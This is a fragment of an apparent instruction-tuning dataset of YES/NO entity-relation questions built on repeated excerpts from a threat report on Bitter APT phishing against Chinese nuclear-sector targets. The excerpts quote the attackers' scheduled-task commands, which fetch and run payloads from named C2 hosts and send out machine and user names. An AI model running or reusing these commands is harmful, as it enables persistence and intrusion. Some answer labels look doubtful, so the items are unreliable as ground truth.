opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: United Front Work Department\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Excel\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: PowerShell\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Microsoft Office\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: United Front Work Department\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: C2\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPowerShell\n### Target Entity: Windows\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ntry.php\n### Target Entity: PowerShell\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:\nFigure 7: Decoy picture\nThe decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):\nFigure 8: Machine translated version of the decoy\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Excel\n### Text Passage:\n### **Malicious Microsoft Excel** Files\nThe Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min curl --output %AppData%\\dwmcor.exe -O \"\"https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f\n```\n!Image 4\nFigure 4: Scheduled task\nThe second scheduled task created attempts to execute the payload downloaded by the other task:\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR \"%AppData%\\dwmcor.exe\" /f\n```\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Equation Editor\n### Text Passage:\n### **Malicious Microsoft Excel** Files\nThe Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min curl --output %AppData%\\dwmcor.exe -O \"\"https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f\n```\n!Image 4\nFigure 4: Scheduled task\nThe second scheduled task created attempts to execute the payload downloaded by the other task:\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR \"%AppData%\\dwmcor.exe\" /f\n```\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ncurl\n### Target Entity: dwmcor.exe\n### Text Passage:\n### **Malicious Microsoft Excel** Files\nThe Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min curl --output %AppData%\\dwmcor.exe -O \"\"https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f\n```\n!Image 4\nFigure 4: Scheduled task\nThe second scheduled task created attempts to execute the payload downloaded by the other task:\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR \"%AppData%\\dwmcor.exe\" /f\n```\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: China\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: Ministry of Foreign Affairs\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: IAEA\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and details of an actual attach\u00e9 of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.\nThe email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.\nFigure 3: Email body lure with nuclear themes\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBitter APT\n### Target Entity: CIIS\n### Text Passage:\nAnalysis of Phishing Lures and Payloads\nWe identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.\nFigure 1: Attack flow described in this research\nThe emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an \u201cEmbassy in Beijing.\u201d A free email provider is used, therefore domain reputation checks will not be useful.\nFigure 2: Name crafted to appear as communication from an embassy\nThe email is signed off with the name and 